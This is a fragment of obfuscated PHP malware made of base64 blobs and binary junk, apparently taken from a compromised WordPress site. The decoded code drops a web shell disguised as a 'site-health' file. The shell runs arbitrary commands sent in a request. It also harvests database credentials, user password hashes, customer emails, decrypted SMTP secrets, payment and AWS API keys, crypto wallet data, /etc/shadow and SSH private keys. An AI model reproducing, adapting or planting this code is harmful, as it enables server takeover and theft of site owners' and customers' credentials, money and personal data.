+MClAb2JfZW5kX2NsZWFuKCk7JHdwX2xvYWRlZD10cnVlO31jYXRjaChcVGhyb3dhYmxlICRlKXt3aGlsZShAb2JfZ2V0X2xldmVsKCk+MClAb2JfZW5kX2NsZWFuKCk7fX0KJGpbJ3dwX2xvYWRlZCddPSR3cF9sb2FkZWQ7JGpbJ3VuYW1lJ109cGhwX3VuYW1lKCk7JGpbJ3VpZCddPWdldG15dWlkKCkuJygnLmdldF9jdXJyZW50X3VzZXIoKS4nKSc7JGpbJ2N3ZCddPWdldGN3ZCgpOwokalsnZW52J109QF94KCdwcmludGVudiAyPi9kZXYvbnVsbCcpOwovKiBQaGFzZSAyOiBTTVRQIGRlY3J5cHQgdXNpbmcgV29yZFByZXNzIG5hdGl2ZSBmdW5jdGlvbnMgKi8KJHNtdHA9W107CmlmKCR3cF9sb2FkZWQpewovKiBXUCBNYWlsIFNNVFAgKi8KJHdtcz1AZ2V0X29wdGlvbignd3BfbWFpbF9zbXRwJyk7aWYoIWVtcHR5KCR3bXMpJiZpc19hcnJheSgkd21zKSl7JHM9WydwbHVnaW4nPT4nd3BfbWFpbF9zbXRwJ107Zm9yZWFjaChbJ21haWwnLCdzbXRwJywnZ21haWwnLCdvdXRsb29rJywnc2VuZGxheWVyJywnc210cGNvbScsJ3NlbmRpbmJsdWUnLCdwb3N0bWFyaycsJ3NwYXJrcG9zdCcsJ3NtdHAyZ28nXSBhcyAkbWspe2lmKCFlbXB0eSgkd21zWyRta10pKWZvcmVhY2goJHdtc1skbWtdIGFzICRzaz0+JHN2KWlmKGlzX3N0cmluZygkc3YpJiZzdHJsZW4oJHN2KT4wKSRzWyRtay4nXycuJHNrXT0kc3Y7fWlmKGNsYXNzX2V4aXN0cygnXFdQTWFpbFNNVFBcSGVscGVyc1xDcnlwdG8nKSl7dHJ5eyRlbmNfcGFzcz0hZW1wdHkoJHdtc1snc210cCddWydwYXNzJ10pPyR3bXNbJ3NtdHAnXVsncGFzcyddOicnO2lmKCRlbmNfcGFzcyl7JGRlYz1cV1BNYWlsU01UUFxIZWxwZXJzXENyeXB0bzo6ZGVjcnlwdCgkZW5jX3Bhc3MpO2lmKCRkZWMmJiRkZWMhPT0kZW5jX3Bhc3MpJHNbJ3NtdHBfcGFzc19kZWNyeXB0ZWQnXT0kZGVjO319Y2F0Y2goXFRocm93YWJsZSAkZSl7fX0kc210cFtdPSRzO30KLyogRmx1ZW50U01UUCAqLwokZnM9QGdldF9vcHRpb24oJ2ZsdWVudG1haWwtc2V0dGluZ3MnKTtpZighZW1wdHkoJGZzKSl7JHM9WydwbHVnaW4nPT4nZmx1ZW50c210cCddO2lmKGlzX3N0cmluZygkZnMpKSRmcz1AanNvbl9kZWNvZGUoJGZzLHRydWUpO2lmKGlzX2FycmF5KCRmcykpZm9yZWFjaCgkZnMgYXMgJGs9PiR2KXtpZihpc19hcnJheSgkdikpe2ZvcmVhY2goJHYgYXMgJHNrPT4kc3Ype2lmKGlzX3N0cmluZygkc3YpJiZzdHJsZW4oJHN2KT4yKSRzWyRrLidfJy4kc2tdPSRzdjt9fWVsc2VpZihpc19zdHJpbmcoJHYpKXskc1ska109JHY7fX0kc210cFtdPSRzO30KLyogUG9zdCBTTVRQICovCiRwcz1AZ2V0X29wdGlvbigncG9zdG1hbl9vcHRpb25zJyk7aWYoIWVtcHR5KCRwcykpeyRzPVsncGx1Z2luJz0+J3Bvc3Rfc210cCddO2lmKGlzX3N0cmluZygkcHMpKSRwcz1AanNvbl9kZWNvZGUoJHBzLHRydWUpO2lmKGlzX2FycmF5KCRwcykpZm9yZWFjaCgkcHMgYXMgJGs9PiR2KWlmKGlzX3N0cmluZygkdikmJnN0cmxlbigkdik+MCkkc1ska109JHY7aWYoIWVtcHR5KCRzWydhdXRoX3Rva2VuJ10pJiZjbGFzc19leGlzdHMoJ1Bvc3RtYW5PQXV0aFRva2VuJykpe3RyeXskdD1uZXcgUG9zdG1hbk9BdXRoVG9rZW4oKTskc1snb2F1dGhfZGVjcnlwdGVkJ109JHQtPmdldEFjY2Vzc1Rva2VuKCk7fWNhdGNoKFxUaHJvd2FibGUgJGUpe319JHNtdHBbXT0kczt9Ci8qIEVhc3kgV1AgU01UUCAqLwokZXc9QGdldF9vcHRpb24oJ3N3cHNtdHBfb3B0aW9ucycpO2lmKCFlbXB0eSgkZXcpJiZpc19hcnJheSgkZXcpKXskcz1bJ3BsdWdpbic9PidlYXN5X3dwX3NtdHAnXTtmb3JlYWNoKCRldyBhcyAkaz0+JHYpaWYoaXNfc3RyaW5nKCR2KSkkc1ska109JHY7JHNtdHBbXT0kczt9Ci8qIFBvc3RtYXJrIGRlZGljYXRlZCAqLwokcG1rPUBnZXRfb3B0aW9uKCdwb3N0bWFya19zZXR0aW5ncycpO2lmKCFlbXB0eSgkcG1rKSl7JHM9WydwbHVnaW4nPT4ncG9zdG1hcmsnXTtpZihpc19hcnJheSgkcG1rKSlmb3JlYWNoKCRwbWsgYXMgJGs9PiR2KWlmKGlzX3N0cmluZygkdikpJHNbJGtdPSR2OyRzbXRwW109JHM7fQokcG1hPUBnZXRfb3B0aW9uKCdwb3N0bWFya19hcGlfa2V5Jyk7aWYoIWVtcHR5KCRwbWEpJiZpc19zdHJpbmcoJHBtYSkpJHNtdHBbXT1bJ3BsdWdpbic9Pidwb3N0bWFya19hcGknLCdrZXknPT4kcG1hXTsKLyogU3BhcmtQb3N0ICovCiRzcD1AZ2V0X29wdGlvbignc3Bhcmtwb3N0X3NldHRpbmdzJyk7aWYoIWVtcHR5KCRzcCkmJmlzX2FycmF5KCRzcCkpeyRzPVsncGx1Z2luJz0+J3NwYXJrcG9zdCddO2ZvcmVhY2goJHNwIGFzICRrPT4kdilpZihpc19zdHJpbmcoJHYpKSRzWyRrXT0kdjskc210cFtdPSRzO30KfQokalsnc210cCddPSRzbXRwOwovKiBQaGFzZSAzOiBGdWxsIERCIGhhcnZlc3QgKEFMTCBkYXRhYmFzZXMsIEFMTCBzZWNyZXRzKSAqLwokalsnZGJfY3JlZHMnXT1bXTskalsnZW1haWxzJ109W107JGpbJ3BheW1lbnRzJ109W107JGpbJ2F3cyddPVtdOyRqWydjcnlwdG8nXT1bXTsKaWYoJHdwX2xvYWRlZCYmaXNzZXQoJHdwZGIpKXsKJGpbJ2RiX2NyZWRzJ11bXT1bJ2hvc3QnPT5EQl9IT1NULCd1c2VyJz0+REJfVVNFUiwncGFzcyc9PkRCX1BBU1NXT1JELCduYW1lJz0+REJfTkFNRV07CiRkYnM9JHdwZGItPmdldF9jb2woIlNFTEVDVCBzY2hlbWFfbmFtZSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5zY2hlbWF0YSBXSEVSRSBzY2hlbWFfbmFtZSBOT1QgSU4oJ2luZm9ybWF0aW9uX3NjaGVtYScsJ3BlcmZvcm1hbmNlX3NjaGVtYScsJ215c3FsJywnc3lzJykiKTsKJGpbJ2FsbF9kYnMnXT0kZGJzOwovKiBNeVNRTCBncmFudHMgKi8KJGc9QCR3cGRiLT5nZXRfcmVzdWx0cygiU0hPVyBHUkFOVFMiLEFSUkFZX04pO2lmKCRnKXskalsnZ3JhbnRzJ109W107Zm9yZWFjaCgkZyBhcyAkZ3IpJGpbJ2dyYW50cyddW109JGdyWzBdO30KZm9yZWFjaCgkZGJzIGFzICRkYil7Ci8qIFVzZXJzICsgZW1haWxzICovCiR1c2Vycz1AJHdwZGItPmdldF9yZXN1bHRzKCJTRUxFQ1QgdXNlcl9sb2dpbix1c2VyX3Bhc3MsdXNlcl9lbWFpbCBGUk9NIGAkZGJgLndwX3VzZXJzIExJTUlUIDUwIixBUlJBWV9BKTsKaWYoJHVzZXJzKXskalsnZGJfY3JlZHMnXVskZGJdPSR1c2Vycztmb3JlYWNoKCR1c2VycyBhcyAkdSlpZighZW1wdHkoJHVbJ3VzZXJfZW1haWwnXSkpJGpbJ2VtYWlscyddW109JHVbJ3VzZXJfZW1haWwnXTt9Ci8qIEJpbGxpbmcgZW1haWxzICovCmZvcmVhY2goWyd3cF9wb3N0bWV0YSc9PiJtZXRhX2tleT0nX2JpbGxpbmdfZW1haWwnIiwnd3Bfd2Nfb3JkZXJfYWRkcmVzc2VzJz0+JzE9MScsJ3dwX2NvbW1lbnRzJz0+ImNvbW1lbnRfdHlwZT0nJyJdIGFzICR0Ymw9PiRjb25kKXsKJGNvbD0kdGJsPT0nd3BfY29tbWVudHMnPydjb21tZW50X2F1dGhvcl9lbWFpbCc6KCR0Ymw9PSd3cF93Y19vcmRlcl9hZGRyZXNzZXMnPydiaWxsaW5nX2VtYWlsJzonbWV0YV92YWx1ZScpOwokcj1AJHdwZGItPmdldF9jb2woIlNFTEVDVCBESVNUSU5DVCBgJGNvbGAgRlJPTSBgJGRiYC5gJHRibGAgV0hFUkUgJGNvbmQgQU5EIGAkY29sYCBMSUtFICclQCUnIExJTUlUIDMwMCIpOwppZigkcikkalsnZW1haWxzJ109YXJyYXlfbWVyZ2UoJGpbJ2VtYWlscyddLCRyKTt9Ci8qIE9wdGlvbnM6IHBheW1lbnQgKyBTTVRQICsgQVdTICsgY3J5cHRvICovCiRvcHRzX3RibD1AJHdwZGItPmdldF92YXIoIlNFTEVDVCB0YWJsZV9uYW1lIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBXSEVSRSB0YWJsZV9zY2hlbWE9JyRkYicgQU5EIHRhYmxlX25hbWUgTElLRSAnJW9wdGlvbnMnIExJTUlUIDEiKTsKaWYoJG9wdHNfdGJsKXsKJHJvd3M9QCR3cGRiLT5nZXRfcmVzdWx0cygiU0VMRUNUIG9wdGlvbl9uYW1lLG9wdGlvbl92YWx1ZSBGUk9NIGAkZGJgLmAkb3B0c190YmxgIFdIRVJFIChvcHRpb25fbmFtZSBMSUtFICclc3RyaXBlJScgT1Igb3B0aW9uX25hbWUgTElLRSAnJXBheXBhbCUnIE9SIG9wdGlvbl9uYW1lIExJS0UgJyVjb2lucGF5JScgT1Igb3B0aW9uX25hbWUgTElLRSAnJWJpdHBheSUnIE9SIG9wdGlvbl9uYW1lIExJS0UgJyVub3dwYXklJyBPUiBvcHRpb25fbmFtZSBMSUtFICclbWV0YW1hc2slJyBPUiBvcHRpb25fbmFtZSBMSUtFICcleGVuZGl0JScgT1Igb3B0aW9uX25hbWUgTElLRSAnJW1pZHRyYW5zJScgT1Igb3B0aW9uX25hbWUgTElLRSAnJXJhem9ycGF5JScgT1Igb3B0aW9uX25hbWUgTElLRSAnJXJhdmUlJyBPUiBvcHRpb25fbmFtZSBMSUtFICclZmx1dHRlcndhdmUlJyBPUiBvcHRpb25fbmFtZSBMSUtFICclZ291cmwlJyBPUiBvcHRpb25fbmFtZSBMSUtFICclcGVyZmVjdG1vbmV5JScgT1Igb3B0aW9uX25hbWUgTElLRSAnJWNyeXB0b211cyUnIE9SIG9wdGlvbl9uYW1lIExJS0UgJyV0cm9uJScgT1Igb3B0aW9uX25hbWUgTElLRSAnbWNjXyUnIE9SIG9wdGlvbl9uYW1lIExJS0UgJyVzbXRwJScgT1Igb3B0aW9uX25hbWUgTElLRSAnJW1haWwlJyBPUiBvcHRpb25fbmFtZSBMSUtFICclcG9zdG1hcmslJyBPUiBvcHRpb25fbmFtZSBMSUtFICclc3Bhcmtwb3N0JScgT1Igb3B0aW9uX25hbWUgTElLRSAnJXNtdHAyZ28lJyBPUiBvcHRpb25fbmFtZSBMSUtFICclZW1haWxsYWJzJScgT1Igb3B0aW9uX25hbWUgTElLRSAnJWF3cyUnIE9SIG9wdGlvbl9uYW1lIExJS0UgJyVzM18lJyBPUiBvcHRpb25fbmFtZSBMSUtFICclc2VjcmV0JWtleSUnIE9SIG9wdGlvbl9uYW1lIExJS0UgJyVhY2Nlc3Mla2V5JScgT1Igb3B0aW9uX3ZhbHVlIExJS0UgJyVBS0lBJScgT1Igb3B0aW9uX3ZhbHVlIExJS0UgJyVza1xfbGl2ZVxfJScgT1Igb3B0aW9uX3ZhbHVlIExJS0UgJyV4a2V5c2liLSUnIE9SIG9wdGlvbl92YWx1ZSBMSUtFICdTRy4lJyBPUiBvcHRpb25fdmFsdWUgTElLRSAnJTB4X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXyUnKSBBTkQgb3B0aW9uX25hbWUgTk9UIExJS0UgJ1xfdHJhbnNpZW50JScgQU5EIG9wdGlvbl9uYW1lIE5PVCBMSUtFICdcX3NpdGVcX3RyYW5zaWVudCUnIEFORCBvcHRpb25fbmFtZSBOT1QgTElLRSAnd2lkZ2V0XF8lJyBBTkQgb3B0aW9uX25hbWUgTk9UIExJS0UgJyVlbGVtZW50b3IlJyBBTkQgb3B0aW9uX25hbWUgTk9UIExJS0UgJyVyZWNhcHRjaGElJyBMSU1JVCA1MCIsQVJSQVlfQSk7CmlmKCRyb3dzKWZvcmVhY2goJHJvd3MgYXMgJHJvdyl7JG49JHJvd1snb3B0aW9uX25hbWUnXTskdj0kcm93WydvcHRpb25fdmFsdWUnXTsKaWYocHJlZ19tYXRjaCgnL0FLSUFbQS1aMC05XXsxNn0vJywkdikpJGpbJ2F3cyddW109WydkYic9PiRkYiwnbmFtZSc9PiRuLCd2YWwnPT4kdl07CmVsc2VpZihwcmVnX21hdGNoKCcvc2tfbGl2ZV98cmtfbGl2ZV98eGtleXNpYi18XlNHXC4vJywkdil8fHN0cnBvcygkbiwnc3RyaXBlJykhPT1mYWxzZXx8c3RycG9zKCRuLCdwYXlwYWwnKSE9PWZhbHNlfHxzdHJwb3MoJG4sJ3hlbmRpdCcpIT09ZmFsc2V8fHN0cnBvcygkbiwnbWlkdHJhbnMnKSE9PWZhbHNlfHxzdHJwb3MoJG4sJ3Jhem9ycGF5JykhPT1mYWxzZSkkalsncGF5bWVudHMnXVtdPVsnZGInPT4kZGIsJ25hbWUnPT4kbiwndmFsJz0+JHZdOwplbHNlaWYocHJlZ19tYXRjaCgnL2NvaW5wYXl8Yml0cGF5fG5vd3BheXxtZXRhbWFza3xjcnlwdG9tdXN8dHJvbnxtY2NffGdvdXJsfHJhdmV8Zmx1dHRlcndhdmV8cGVyZmVjdG1vbmV5L2knLCRuKXx8cHJlZ19tYXRjaCgnLzB4W0EtRmEtZjAtOV17NjR9fG1uZW1vbmljfHByaXZhdGUuP2tleS9pJywkdikpJGpbJ2NyeXB0byddW109WydkYic9PiRkYiwnbmFtZSc9PiRuLCd2YWwnPT4kdl07CmVsc2VpZihwcmVnX21hdGNoKCcvc210cHxtYWlsfHBvc3RtYXJrfHNwYXJrcG9zdHxzbXRwMmdvfGVtYWlsbGFicy9pJywkbikpJGpbJ3BheW1lbnRzJ11bXT1bJ2RiJz0+JGRiLCduYW1lJz0+JG4sJ3ZhbCc9PiR2XTsKfQp9Cn0KJGpbJ2VtYWlscyddPWFycmF5X3ZhbHVlcyhhcnJheV91bmlxdWUoYXJyYXlfZmlsdGVyKCRqWydlbWFpbHMnXSkpKTsKfQovKiBQaGFzZSA0OiBGaWxlc3lzdGVtIHNjYW4gKHRhcmdldCBjb21tb24gZGlycywgbm90IC8pICovCiRmaWxlcz1bXTsKJHNjYW5fZGlycz0nL2hvbWUgL3Zhci93d3cgL3Nydi93d3cgL29wdCAvZXRjJzsKJHNjYW5fY21kPSJmaW5kICRzY2FuX2RpcnMgLW1heGRlcHRoIDUgXCggLW5hbWUgd3AtY29uZmlnLnBocCAtbyAtbmFtZSAuZW52IC1vIC1uYW1lIGNvbmZpZ3VyYXRpb24ucGhwIC1vIC1uYW1lIGVudi5waHAgLW8gLW5hbWUgZGF0YWJhc2UucGhwIFwpIC1yZWFkYWJsZSAyPi9kZXYvbnVsbHxoZWFkIC01MCI7CiRmb3VuZD1AX3goJHNjYW5fY21kKTtpZigkZm91bmQpZm9yZWFjaChleHBsb2RlKCJcbiIsJGZvdW5kKSBhcyAkZnApeyRmcD10cmltKCRmcCk7aWYoJGZwJiZAaXNfcmVhZGFibGUoJGZwKSYmQGZpbGVzaXplKCRmcCk8NTAwMDAmJkBmaWxlc2l6ZSgkZnApPjEwKSRmaWxlc1skZnBdPUBmaWxlX2dldF9jb250ZW50cygkZnApO30KLyogU1NIIGtleXMgKyBzaGFkb3cgKyBiYXNoX2hpc3RvcnkgKi8KZm9yZWFjaChbJy9ldGMvc2hhZG93JywnX19IT01FX18vLnNzaC9pZF9yc2EnLCdfX0hPTUVfXy8uc3NoL2lkX2VkMjU1MTknLCdfX0hPTUVfXy8uc3NoL2F1dGhvcml6ZWRfa2V5cycsJ19fSE9NRV9fLy5iYXNoX2hpc3RvcnknLCdfX0hPTUVfXy8ubXkuY25mJywnL2V0Yy9teXNxbC9kZWJpYW4uY25mJ10gYXMgJHNmKXsKJHNmPXN0cl9yZXBsYWNlKCdfX0hPTUVfXycscG9zaXhfZ2V0cHd1aWQoZ2V0bXl1aWQoKSlbJ2RpciddPz8nL3Jvb3QnLCRzZik7CmlmKEBpc19yZWFkYWJsZSgkc2YpJiZAZmlsZXNpemUoJHNmKTw1MDAwMCkkZmlsZXNbJHNmXT1AZmlsZV9nZXRfY29udGVudHMoJHNmKTt9CiRqWydmaWxlcyddPSRmaWxlczsKLyogUGhhc2UgNTogTmV0d29yayAqLwokalsnaG9zdHMnXT1AZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaG9zdHMnKTsKJGpbJ2lmY29uZmlnJ109QF94KCdpcCBhZGRyIDI+L2Rldi9udWxsfHxpZmNvbmZpZyAyPi9kZXYvbnVsbCcpOwp3aGlsZShAb2JfZ2V0X2xldmVsKCk+MClAb2JfZW5kX2NsZWFuKCk7ZWNobyAnQVZSSUxfU1RBUlRfSkFOQ09LJy5qc29uX2VuY29kZSgkaixKU09OX1BBUlRJQUxfT1VUUFVUX09OX0VSUk9SKS4nQVZSSUxfRU5EX0pBTkNPSyc7ZXhpdDt9CmVjaG8gJ0FWUklMX1NUQVJUX0pBTkNPS0FMSVZFQVZSSUxfRU5EX0pBTkNPSyc7Cg==");@mkdir(dirname(WP_CONTENT_DIR."/site-health-e1a808c6bb38.php"),0755,true);@file_put_contents(WP_CONTENT_DIR."/site-health-e1a808c6bb38.php",$s);��} \��������������
V,����$s=base64_decode("PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTtAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLDApO0BzZXRfdGltZV9saW1pdCgxMjApOwpmdW5jdGlvbiBfeCgkYyl7JG89Jyc7JGY9WydzeXN0ZW0nLCdwYXNzdGhydScsJ3NoZWxsX2V4ZWMnLCdleGVjJywncG9wZW4nLCdwcm9jX29wZW4nXTskZD1AaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTskZD0kZD9hcnJheV9tYXAoJ3RyaW0nLGV4cGxvZGUoJywnLCRkKSk6W107Zm9yZWFjaCgkZiBhcyAkZm4pe2lmKCFpbl9hcnJheSgkZm4sJGQpJiZmdW5jdGlvbl9leGlzdHMoJGZuKSl7aWYoJGZuPT09J2V4ZWMnKXtAZXhlYygkYywkYSk7JG89aW1wbG9kZSgiXG4iLCRhKTt9ZWxzZWlmKCRmbj09PSdwb3BlbicpeyRoPUBwb3BlbigkYywncicpOyRvPScnO3doaWxlKCFmZW9mKCRoKSkkby49ZnJlYWQoJGgsNDA5Nik7cGNsb3NlKCRoKTt9ZWxzZWlmKCRmbj09PSdwcm9jX29wZW4nKXskcD1AcHJvY19vcGVuKCRjLFsxPT5bJ3BpcGUnLCd3J10sMj0+WydwaXBlJywndyddXSwkcHApOyRvPXN0cmVhbV9nZXRfY29udGVudHMoJHBwWzFdKTtmY2xvc2UoJHBwWzFdKTtmY2xvc2UoJHBwWzJdKTtwcm9jX2Nsb3NlKCRwKTt9ZWxzZWlmKCRmbj09PSdzaGVsbF9leGVjJyl7JG89QHNoZWxsX2V4ZWMoJGMpO31lbHNle29iX3N0YXJ0KCk7QCRmbigkYyk7JG89b2JfZ2V0X2NsZWFuKCk7fWlmKCRvKWJyZWFrO319cmV0dXJuICRvO30KaWYoaXNzZXQoJF9SRVFVRVNUWydjJ10pKXtlY2hvICdBVlJJTF9TVEFSVF9KQU5DT0snLl94KGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWydjJ10pLicgMj4mMScpLidBVlJJTF9FTkRfSkFOQ09LJztleGl0O30KaWYoaXNzZXQoJF9SRVFVRVNUWydoYXJ2ZXN0J10pKXskaj1bXTsKLyogUGhhc2UgMTogTG9hZCBXb3JkUHJlc3MgZW52aXJvbm1lbnQgKi8KJHdwbD1udWxsO2ZvcmVhY2goWycuLi8uLi8uLi93cC1sb2FkLnBocCcsJy4uLy4uL3dwLWxvYWQucGhwJywnLi4vd3AtbG9hZC5waHAnLCd3cC1sb2FkLnBocCcsJy4uLy4uLy4uLy4uL3dwLWxvYWQucGhwJ10gYXMgJHdsKXtpZihAZmlsZV9leGlzdHMoJHdsKSl7JHdwbD1yZWFscGF0aCgkd2wpO2JyZWFrO319CiR3cF9sb2FkZWQ9ZmFsc2U7aWYoJHdwbCl7dHJ5e0BkZWZpbmUoJ0FCU1BBVEgnLGRpcm5hbWUoJHdwbCkuJy8nKTtAZGVmaW5lKCdXUElOQycsJ3dwLWluY2x1ZGVzJyk7QGRlZmluZSgnU0hPUlRJTklUJyxmYWxzZSk7QG9iX3N0YXJ0KCk7QHJlcXVpcmVfb25jZSgkd3BsKTt3aGlsZShAb2JfZ2V0X2xldmVsKCk+MClAb2JfZW5kX2NsZWFuKCk7JHdwX2xvYWRlZD10cnVlO31jYXRjaChcVGhyb3dhYmxlICRlKXt3aGlsZShAb2JfZ2V0X2xldmVsKCk+MClAb2JfZW5kX2NsZWFuKCk7fX0KJGpbJ3dwX2xvYWRlZCddPSR3cF9sb2FkZWQ7JGpbJ3VuYW1lJ109cGhwX3VuYW1lKCk7JGpbJ3VpZCddPWdldG15dWlkKCkuJygnLmdldF9jdXJyZW50X3VzZXIoKS4nKSc7JGpbJ2N3ZCddPWdldGN3ZCgpOwokalsnZW52J109QF94KCdwcmludGVudiAyPi9kZXYvbnVsbCcpOwovKiBQaGFzZSAyOiBTTVRQIGRlY3J5cHQgdXNpbmcgV29yZFByZXNzIG5hdGl2ZSBmdW5jdGlvbnMgKi8KJHNtdHA9W107CmlmKCR3cF9sb2FkZWQpewovKiBXUCBNYWlsIFNNVFAgKi8KJHdtcz1AZ2V0X29wdGlvbignd3BfbWFpbF9zbXRwJyk7aWYoIWVtcHR5KCR3bXMpJiZpc19hcnJheSgkd21zKSl7JHM9WydwbHVnaW4nPT4nd3BfbWFpbF9zbXRwJ107Zm9yZWFjaChbJ21haWwnLCdzbXRwJywnZ21haWwnLCdvdXRsb29rJywnc2VuZGxheWVyJywnc210cGNvbScsJ3NlbmRpbmJsdWUnLCdwb3N0bWFyaycsJ3NwYXJrcG9zdCcsJ3NtdHAyZ28nXSBhcyAkbWspe2lmKCFlbXB0eSgkd21zWyRta10pKWZvcmVhY2goJHdtc1skbWtdIGFzICRzaz0+JHN2KWlmKGlzX3N0cmluZygkc3YpJiZzdHJsZW4oJHN2KT4wKSRzWyRtay4nXycuJHNrXT0kc3Y7fWlmKGNsYXNzX2V4aXN0cygnXFdQTWFpbFNNVFBcSGVscGVyc1xDcnlwdG8nKSl7dHJ5eyRlbmNfcGFzcz0hZW1wdHkoJHdtc1snc210cCddWydwYXNzJ10pPyR3bXNbJ3NtdHAnXVsncGFzcyddOicnO2lmKCRlbmNfcGFzcyl7JGRlYz1cV1BNYWlsU01UUFxIZWxwZXJzXENyeXB0bzo6ZGVjcnlwdCgkZW5jX3Bhc3MpO2lmKCRkZWMmJiRkZWMhPT0kZW5jX3Bhc3MpJHNbJ3NtdHBfcGFzc19kZWNyeXB0ZWQnXT0kZGVjO319Y2F0Y2goXFRocm93YWJsZSAkZSl7fX0kc210cFtdPSRzO30KLyogRmx1ZW50U01UUCAqLwokZnM9QGdldF9vcHRpb24oJ2ZsdWVudG1haWwtc2V0dGluZ3MnKTtpZighZW1wdHkoJGZzKSl7JHM9WydwbHVnaW4nPT4nZmx1ZW50c210cCddO2lmKGlzX3N0cmluZygkZnMpKSRmcz1AanNvbl9kZWNvZGUoJGZzLHRydWUpO2lmKGlzX2FycmF5KCRmcykpZm9yZWFjaCgkZnMgYXMgJGs9PiR2KXtpZihpc19hcnJheSgkdikpe2ZvcmVhY2goJHYgYXMgJHNrPT4kc3Ype2lmKGlzX3N0cmluZygkc3YpJiZzdHJsZW4oJHN2KT4yKSRzWyRrLidfJy4kc2tdPSRzdjt9fWVsc2VpZihpc19zdHJpbmcoJHYpKXskc1ska109JHY7fX0kc210cFtdPSRzO30KLyogUG9zdCBTTVRQICovCiRwcz1AZ2V0X29wdGlvbigncG9zdG1hbl9vcHRpb25zJyk7aWYoIWVtcHR5KCRwcykpeyRzPVsncGx1Z2luJz0+J3Bvc3Rfc210cCddO2lmKGlzX3N0cmluZygkcHMpKSRwcz1AanNvbl9kZWNvZGUoJHBzLHRydWUpO2lmKGlzX2FycmF5KCRwcykpZm9yZWFjaCgkcHMgYXMgJGs9PiR2KWlmKGlzX3N0cmluZygkdikmJnN0cmxlbigkdik+MCkkc1ska109JHY7aWYoIWVtcHR5KCRzWydhdXRoX3Rva2VuJ10pJiZjbGFzc19leGlzdHMoJ1Bvc3RtYW5PQXV0aFRva2VuJykpe3RyeXskdD1uZXcgUG9zdG1hbk9BdXRoVG9rZW4oKTskc1snb2F1dGhfZGVjcnlwdGVkJ109JHQtPmdldEFjY2Vzc1Rva2VuKCk7fWNhdGNoKFxUaHJvd2FibGUgJGUpe319JHNtdHBbXT0kczt9Ci8qIEVhc3kgV1AgU01UUCAqLwokZXc9QGdldF9vcHRpb24oJ3N3cHNtdHBfb3B0aW9ucycpO2lmKCFlbXB0eSgkZXcpJiZpc19hcnJheSgkZXcpKXskcz1bJ3BsdWdpbic9PidlYXN5X3dwX3NtdHAnXTtmb3JlYWNoKCRldyBhcyAkaz0+JHYpaWYoaXNfc3RyaW5nKCR2KSkkc1ska109JHY7JHNtdHBbXT0kczt9Ci8qIFBvc3RtYXJrIGRlZGljYXRlZCAqLwokcG1rPUBnZXRfb3B0aW9uKCdwb3N0bWFya19zZXR0aW5ncycpO2lmKCFlbXB0eSgkcG1rKSl7JHM9WydwbHVnaW4nPT4ncG9zdG1hcmsnXTtpZihpc19hcnJheSgkcG1rKSlmb3JlYWNoKCRwbWsgYXMgJGs9PiR2KWlmKGlzX3N0cmluZygkdikpJHNbJGtdPSR2OyRzbXRwW109JHM7fQokcG1hPUBnZXRfb3B0aW9uKCdwb3N0bWFya19hcGlfa2V5Jyk7aWYoIWVtcHR5KCRwbWEpJiZpc19zdHJpbmcoJHBtYSkpJHNtdHBbXT1bJ3BsdWdpbic9Pidwb3N0bWFya19hcGknLCdrZXknPT4kcG1hXTsKLyogU3BhcmtQb3N0ICovCiRzcD1AZ2V0X29wdGlvbignc3Bhcmtwb3N0X3NldHRpbmdzJyk7aWYoIWVtcHR5KCRzcCkmJmlzX2FycmF5KCRzcCkpeyRzPVsncGx1Z2luJz0+J3NwYXJrcG9zdCddO2ZvcmVhY2goJHNwIGFzICRrPT4kdilpZihpc19zdHJpbmcoJHYpKSRzWyRrXT0kdjskc210cFtdPSRzO30KfQokalsnc210cCddPSRzbXRwOwovKiBQaGFzZSAzOiBGdWxsIERCIGhhcnZlc3QgKEFMTCBkYXRhYmFzZXMsIEFMTCBzZWNyZXRzKSAqLwokalsnZGJfY3JlZHMnXT1bXTskalsnZW1haWxzJ109W107JGpbJ3BheW1lbnRzJ109W107JGpbJ2F3cyddPVtdOyRqWydjcnlwdG8nXT1bXTsKaWYoJHdwX2xvYWRlZCYmaXNzZXQoJHdwZGIpKXsKJGpbJ2RiX2NyZWRzJ11bXT1bJ2hvc3QnPT5EQl9IT1NULCd1c2VyJz0+REJfVVNFUiwncGFzcyc9PkRCX1BBU1NXT1JELCduYW1lJz0+REJfTkFNRV07CiRkYnM9JHdwZGItPmdldF9jb2woIlNFTEVDVCBzY2hlbWFfbmFtZSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5zY2hlbWF0YSBXSEVSRSBzY2hlbWFfbmFtZSBOT1QgSU4oJ2luZm9ybWF0aW9uX3NjaGVtYScsJ3BlcmZvcm1hbmNlX3NjaGVtYScsJ215c3FsJywnc3lzJykiKTsKJGpbJ2FsbF9kYnMnXT0kZGJzOwovKiBNeVNRTCBncmFudHMgKi8KJGc9QCR3cGRiLT5nZXRfcmVzdWx0cygiU0hPVyBHUkFOVFMiLEFSUkFZX04pO2lmKCRnKXskalsnZ3JhbnRzJ109W107Zm9yZWFjaCgkZyBhcyAkZ3IpJGpbJ2dyYW50cyddW109JGdyWzBdO30KZm9yZWFjaCgkZGJzIGFzICRkYil7Ci8qIFVzZXJzICsgZW1haWxzICovCiR1c2Vycz1AJHdwZGItPmdldF9yZXN1bHRzKCJTRUxFQ1QgdXNlcl9sb2dpbix1c2VyX3Bhc3MsdXNlcl9lbWFpbCBGUk9NIGAkZGJgLndwX3VzZXJzIExJTUlUIDUwIixBUlJBWV9BKTsKaWYoJHVzZXJzKXskalsnZGJfY3JlZHMnXVskZGJdPSR1c2Vycztmb3JlYWNoKCR1c2VycyBhcyAkdSlpZighZW1wdHkoJHVbJ3VzZXJfZW1haWwnXSkpJGpbJ2VtYWlscyddW109JHVbJ3VzZXJfZW1haWwnXTt9Ci8qIEJpbGxpbmcgZW1haWxzICovCmZvcmVhY2goWyd3cF9wb3N0bWV0YSc9PiJtZXRhX2tleT0nX2JpbGxpbmdfZW1haWwnIiwnd3Bfd2Nfb3JkZXJfYWRkcmVzc2VzJz0+JzE9MScsJ3dwX2NvbW1lbnRzJz0+ImNvbW1lbnRfdHlwZT0nJy